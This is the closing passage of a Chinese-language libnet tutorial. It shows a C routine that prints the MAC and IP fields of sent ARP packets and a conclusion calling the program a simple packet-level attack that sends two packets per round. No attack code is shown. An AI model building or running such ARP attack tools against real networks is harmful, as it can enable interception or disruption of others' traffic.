    printf("| Source MAC Address:              %17s|\n", mac_ntoa(sender_mac_address));
    printf("+---------------------------------------------------+\n");
    printf("| Source IP Address:                 %15s|\n", ip_ntoa(sender_ip_address));
    printf("+---------------------------------------------------+\n");
    printf("| Destination MAC Address:         %17s|\n", mac_ntoa(target_mac_address));
    printf("+---------------------------------------------------+\n");
    printf("| Destination IP Address:            %15s|\n", ip_ntoa(target_ip_address));
    printf("+---------------------------------------------------+\n");
}//end draw_sent

函數draw_sent()改寫libpcap/dump_arp.c的函數dump_arp(),我們畫出部分的ARP封包就好。

剩下的函數ip_ntoa()和函數mac_ntoa()已經在libpcap篇使用過不少次了,所以就不再解釋了。

結語

libnet簡單的就可以寫出一個封包層級的攻擊方式,這個程式每一輪會送出兩個封包,libnet其實有提供更好的方式能夠連續建構封包,後面會再解釋使用。

該程式用了不少寫程式的技巧跟需要了解很多核心跟網路的知識,所以就好好加油看懂它囉。

results matching ""

    No results matching ""